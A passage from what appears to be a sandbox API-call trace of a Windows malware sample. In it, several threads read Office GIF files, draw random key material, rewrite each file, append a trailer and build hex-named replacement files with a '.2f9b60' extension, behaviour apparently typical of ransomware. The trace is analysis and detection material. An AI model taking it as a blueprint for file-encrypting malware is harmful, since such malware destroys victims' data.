(HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fd60 [0235.532] SetFilePointerEx (in: hFile=0x3368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.532] WriteFile (in: hFile=0x3368, lpBuffer=0x42c14630*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x375af7b0, lpOverlapped=0x0 | out: lpBuffer=0x42c14630*, lpNumberOfBytesWritten=0x375af7b0*=0x10a, lpOverlapped=0x0) returned 1 [0236.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0236.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0236.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202666c0 [0236.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202666c0) returned 1 [0236.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202666c0 [0236.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266750 [0236.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266750) returned 1 [0236.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0236.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d9b0 [0236.791] sprintf (in: _Dest=0x1ce5d9b0, _Format="%c%c" | out: _Dest="6b") returned 2 [0236.791] sprintf (in: _Dest=0x1ce5d9b2, _Format="%c%c" | out: _Dest="ef") returned 2 [0236.791] sprintf (in: _Dest=0x1ce5d9b4, _Format="%c%c" | out: _Dest="33") returned 2 [0236.791] sprintf (in: _Dest=0x1ce5d9b6, _Format="%c%c" | out: _Dest="d6") returned 2 [0236.791] sprintf (in: _Dest=0x1ce5d9b8, _Format="%c%c" | out: _Dest="b9") returned 2 [0236.791] sprintf (in: _Dest=0x1ce5d9ba, _Format="%c%c" | out: _Dest="f4") returned 2 [0236.791] sprintf (in: _Dest=0x1ce5d9bc, _Format="%c%c" | out: _Dest="64") returned 2 [0236.791] sprintf (in: _Dest=0x1ce5d9be, _Format="%c%c" | out: _Dest="be") returned 2 [0236.791] sprintf (in: _Dest=0x1ce5d9c0, _Format="%c%c" | out: _Dest="47") returned 2 [0236.791] sprintf (in: _Dest=0x1ce5d9c2, _Format="%c%c" | out: _Dest="92") returned 2 [0236.791] sprintf (in: _Dest=0x1ce5d9c4, _Format="%c%c" | out: _Dest="79") returned 2 [0236.791] sprintf (in: _Dest=0x1ce5d9c6, _Format="%c%c" | out: _Dest="40") returned 2 [0236.792] sprintf (in: _Dest=0x1ce5d9c8, _Format="%c%c" | out: _Dest="10") returned 2 [0236.792] sprintf (in: _Dest=0x1ce5d9ca, _Format="%c%c" | out: _Dest="bc") returned 2 [0236.792] sprintf (in: _Dest=0x1ce5d9cc, _Format="%c%c" | out: _Dest="d9") returned 2 [0236.792] sprintf (in: _Dest=0x1ce5d9ce, _Format="%c%c" | out: _Dest="40") returned 2 [0236.792] sprintf (in: _Dest=0x1ce5d9d0, _Format="%c%c" | out: _Dest="8f") returned 2 [0236.792] sprintf (in: _Dest=0x1ce5d9d2, _Format="%c%c" | out: _Dest="bd") returned 2 [0236.792] sprintf (in: _Dest=0x1ce5d9d4, _Format="%c%c" | out: _Dest="f5") returned 2 [0236.792] sprintf (in: _Dest=0x1ce5d9d6, _Format="%c%c" | out: _Dest="26") returned 2 [0236.792] sprintf (in: _Dest=0x1ce5d9d8, _Format="%c%c" | out: _Dest="ba") returned 2 [0236.792] sprintf (in: _Dest=0x1ce5d9da, _Format="%c%c" | out: _Dest="96") returned 2 [0236.792] sprintf (in: _Dest=0x1ce5d9dc, _Format="%c%c" | out: _Dest="9f") returned 2 [0236.792] sprintf (in: _Dest=0x1ce5d9de, _Format="%c%c" | out: _Dest="a6") returned 2 [0236.792] RtlInitAnsiString (in: DestinationString=0x375af828, SourceString="6bef33d6b9f464be4792794010bcd9408fbdf526ba969fa6" | out: DestinationString="6bef33d6b9f464be4792794010bcd9408fbdf526ba969fa6") [0236.792] RtlAnsiStringToUnicodeString (in: DestinationString=0x375af7f8, SourceString="6bef33d6b9f464be4792794010bcd9408fbdf526ba969fa6", AllocateDestinationString=1 | out: DestinationString="6bef33d6b9f464be4792794010bcd9408fbdf526ba969fa6") returned 0x0 [0236.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310fa60 [0236.793] wcscat (in: _Dest=0x431cbb20, _Source="6bef33d6b9f4" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\6bef33d6b9f4") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\6bef33d6b9f4" [0236.793] wcscat (in: _Dest=0x431cbb20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\6bef33d6b9f4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\6bef33d6b9f4.2f9b60" [0236.793] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\6bef33d6b9f4.2f9b60", NtPathName=0x375af7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\6bef33d6b9f4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x202791f0 Thread: id = 3886 os_tid = 0x21f8 [0229.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14997_.gif")) returned 0x20 [0230.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF", dwFileAttributes=0x20) returned 1 [0231.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14997_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x336c [0232.114] GetFileSizeEx (in: hFile=0x336c, lpFileSize=0x3766fdc0 | out: lpFileSize=0x3766fdc0*=686) returned 1 [0232.114] SetFilePointerEx (in: hFile=0x336c, liDistanceToMove=0x2aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.114] ReadFile (in: hFile=0x336c, lpBuffer=0x3766fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3766fd88, lpOverlapped=0x0 | out: lpBuffer=0x3766fd40*, lpNumberOfBytesRead=0x3766fd88*=0x4, lpOverlapped=0x0) returned 1 [0232.115] SetFilePointerEx (in: hFile=0x336c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202662d0 [0232.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267770 [0232.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0232.116] NtQuerySystemTime (in: CurrentTime=0x3766fc80 | out: CurrentTime=0x3766fc80*=132462178361134000) returned 0x0 [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x2e40d95c [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x72cdd731 [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x295134d2 [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0xb332d7c [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x35089467 [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x74c12c8e [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x4c845f22 [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x5a4c4d0c [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x6cbad004 [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x67112d7 [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x2a10a28d [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x3666cd0a [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x10d342c [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x2d9bdd17 [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x624935cd [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0xafbad5b [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x4363c5cb [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x3d0dbeda [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x8ad5f8f [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x2d8e27 [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x4b0a741f [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x2cc59508 [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x69ff00b6 [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x2c46593a [0232.116] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x6134be45 [0232.117] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x39e41bcd [0232.117] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x4a7a74ff [0232.117] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x7ecacd8b [0232.117] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x9446ca4 [0232.117] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x66876b43 [0232.117] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0x4a465992 [0232.117] RtlRandomEx (in: Seed=0x3766fc70 | out: Seed=0x3766fc70) returned 0xb26861b [0232.124] ReadFile (in: hFile=0x336c, lpBuffer=0x202bd4e0, nNumberOfBytesToRead=0x2ae, lpNumberOfBytesRead=0x3766fc70, lpOverlapped=0x0 | out: lpBuffer=0x202bd4e0*, lpNumberOfBytesRead=0x3766fc70*=0x2ae, lpOverlapped=0x0) returned 1 [0232.124] SetFilePointerEx (in: hFile=0x336c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.124] WriteFile (in: hFile=0x336c, lpBuffer=0x202d7950*, nNumberOfBytesToWrite=0x2ae, lpNumberOfBytesWritten=0x3766fc74, lpOverlapped=0x0 | out: lpBuffer=0x202d7950*, lpNumberOfBytesWritten=0x3766fc74*=0x2ae, lpOverlapped=0x0) returned 1 [0235.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0235.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860690 [0235.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860690) returned 1 [0235.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d7950) returned 1 [0235.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202bd4e0) returned 1 [0235.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504090) returned 1 [0235.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0235.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860690 [0235.527] SetFilePointerEx (in: hFile=0x336c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.527] WriteFile (in: hFile=0x336c, lpBuffer=0x42c14e10*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3766fd90, lpOverlapped=0x0 | out: lpBuffer=0x42c14e10*, lpNumberOfBytesWritten=0x3766fd90*=0x10a, lpOverlapped=0x0) returned 1 [0236.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0236.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0236.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264110 [0236.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264110) returned 1 [0236.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264110 [0236.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0236.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0236.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0236.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d9b0 [0236.799] sprintf (in: _Dest=0x1ce5d9b0, _Format="%c%c" | out: _Dest="c7") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9b2, _Format="%c%c" | out: _Dest="3b") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9b4, _Format="%c%c" | out: _Dest="52") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9b6, _Format="%c%c" | out: _Dest="09") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9b8, _Format="%c%c" | out: _Dest="95") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9ba, _Format="%c%c" | out: _Dest="e8") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9bc, _Format="%c%c" | out: _Dest="a8") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9be, _Format="%c%c" | out: _Dest="65") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9c0, _Format="%c%c" | out: _Dest="39") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9c2, _Format="%c%c" | out: _Dest="80") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9c4, _Format="%c%c" | out: _Dest="e7") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9c6, _Format="%c%c" | out: _Dest="82") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9c8, _Format="%c%c" | out: _Dest="1a") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9ca, _Format="%c%c" | out: _Dest="06") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9cc, _Format="%c%c" | out: _Dest="8e") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9ce, _Format="%c%c" | out: _Dest="f6") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9d0, _Format="%c%c" | out: _Dest="9b") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9d2, _Format="%c%c" | out: _Dest="a2") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9d4, _Format="%c%c" | out: _Dest="5d") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9d6, _Format="%c%c" | out: _Dest="e2") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9d8, _Format="%c%c" | out: _Dest="4e") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9da, _Format="%c%c" | out: _Dest="0e") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9dc, _Format="%c%c" | out: _Dest="2b") returned 2 [0236.800] sprintf (in: _Dest=0x1ce5d9de, _Format="%c%c" | out: _Dest="f6") returned 2 [0236.800] RtlInitAnsiString (in: DestinationString=0x3766fe08, SourceString="c73b520995e8a8653980e7821a068ef69ba25de24e0e2bf6" | out: DestinationString="c73b520995e8a8653980e7821a068ef69ba25de24e0e2bf6") [0236.800] RtlAnsiStringToUnicodeString (in: DestinationString=0x3766fdd8, SourceString="c73b520995e8a8653980e7821a068ef69ba25de24e0e2bf6", AllocateDestinationString=1 | out: DestinationString="c73b520995e8a8653980e7821a068ef69ba25de24e0e2bf6") returned 0x0 [0236.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310fad0 [0236.801] wcscat (in: _Dest=0x431cbbc0, _Source="c73b520995e8" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\c73b520995e8") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\c73b520995e8" [0236.801] wcscat (in: _Dest=0x431cbbc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\c73b520995e8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\c73b520995e8.2f9b60" [0236.801] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\c73b520995e8.2f9b60", NtPathName=0x3766fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\c73b520995e8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e3f20 Thread: id = 3887 os_tid = 0xac0 [0229.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15034_.gif")) returned 0x20 [0230.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF", dwFileAttributes=0x20) returned 1 [0231.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15034_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3370 [0232.138] GetFileSizeEx (in: hFile=0x3370, lpFileSize=0x3674fbc0 | out: lpFileSize=0x3674fbc0*=544) returned 1 [0232.138] SetFilePointerEx (in: hFile=0x3370, liDistanceToMove=0x21c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.138] ReadFile (in: hFile=0x3370, lpBuffer=0x3674fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3674fb88, lpOverlapped=0x0 | out: lpBuffer=0x3674fb40*, lpNumberOfBytesRead=0x3674fb88*=0x4, lpOverlapped=0x0) returned 1 [0232.140] SetFilePointerEx (in: hFile=0x3370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675c0 [0232.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0232.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a80 [0232.141] NtQuerySystemTime (in: CurrentTime=0x3674fa80 | out: CurrentTime=0x3674fa80*=132462178361290000) returned 0x0 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x7b6cf50d [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x6d293acd [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x5256c4c8 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x794685f3 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x26a294df [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x7135da5b [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x38d49988 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0xad0d49b [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x15bd8bec [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x6f521462 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0xa36a54e [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0xd5041d6 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x630db9a9 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x3d510cdc [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x7db27bd8 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x2a5d3cd5 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x7ddde6ad [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x1126de18 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x403090d9 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x403090d9 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x24458f6d [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x30ba5f3a [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x481b1ee7 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x6c0d446 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x3843bd10 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x5a1b852d [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x670bd2b7 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x99c8da9 [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x18d08c7d [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x1c6f4a1f [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x35bb4cca [0232.141] RtlRandomEx (in: Seed=0x3674fa70 | out: Seed=0x3674fa70) returned 0x3dfc22af [0232.148] ReadFile (in: hFile=0x3370, lpBuffer=0x202c4d00, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x3674fa70, lpOverlapped=0x0 | out: lpBuffer=0x202c4d00*, lpNumberOfBytesRead=0x3674fa70*=0x220, lpOverlapped=0x0) returned 1 [0232.148] SetFilePointerEx (in: hFile=0x3370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.148] WriteFile (in: hFile=0x3370, lpBuffer=0x202c8910*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x3674fa74, lpOverlapped=0x0 | out: lpBuffer=0x202c8910*, lpNumberOfBytesWritten=0x3674fa74*=0x220, lpOverlapped=0x0) returned 1 [0235.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a800 [0235.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b9a0 [0235.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b9a0) returned 1 [0235.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c8910) returned 1 [0235.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c4d00) returned 1 [0235.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505310) returned 1 [0235.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059920) returned 1 [0235.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205b9a0 [0235.537] SetFilePointerEx (in: hFile=0x3370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.537] WriteFile (in: hFile=0x3370, lpBuffer=0x42c15ef0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3674fb90, lpOverlapped=0x0 | out: lpBuffer=0x42c15ef0*, lpNumberOfBytesWritten=0x3674fb90*=0x10a, lpOverlapped=0x0) returned 1 [0236.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0236.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0236.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e30 [0236.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e30) returned 1 [0236.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e30 [0236.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267860 [0236.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267860) returned 1 [0236.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0236.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d9b0 [0236.811] sprintf (in: _Dest=0x1ce5d9b0, _Format="%c%c" | out: _Dest="fc") returned 2 [0236.811] sprintf (in: _Dest=0x1ce5d9b2, _Format="%c%c" | out: _Dest="cb") returned 2 [0236.811] sprintf (in: _Dest=0x1ce5d9b4, _Format="%c%c" | out: _Dest="2f") returned 2 [0236.811] sprintf (in: _Dest=0x1ce5d9b6, _Format="%c%c" | out: _Dest="4f") returned 2 [0236.811] sprintf (in: _Dest=0x1ce5d9b8, _Format="%c%c" | out: _Dest="de") returned 2 [0236.811] sprintf (in: _Dest=0x1ce5d9ba, _Format="%c%c" | out: _Dest="4a") returned 2 [0236.811] sprintf (in: _Dest=0x1ce5d9bc, _Format="%c%c" | out: _Dest="cc") returned 2 [0236.811] sprintf (in: _Dest=0x1ce5d9be, _Format="%c%c" | out: _Dest="9d") returned 2 [0236.811] sprintf (in: _Dest=0x1ce5d9c0, _Format="%c%c" | out: _Dest="06") returned 2 [0236.811] sprintf (in: _Dest=0x1ce5d9c2, _Format="%c%c" | out: _Dest="de") returned 2 [0236.811] sprintf (in: _Dest=0x1ce5d9c4, _Format="%c%c" | out: _Dest="6a") returned 2 [0236.811] sprintf (in: _Dest=0x1ce5d9c6, _Format="%c%c" | out: _Dest="2a") returned 2 [0236.811] sprintf (in: _Dest=0x1ce5d9c8, 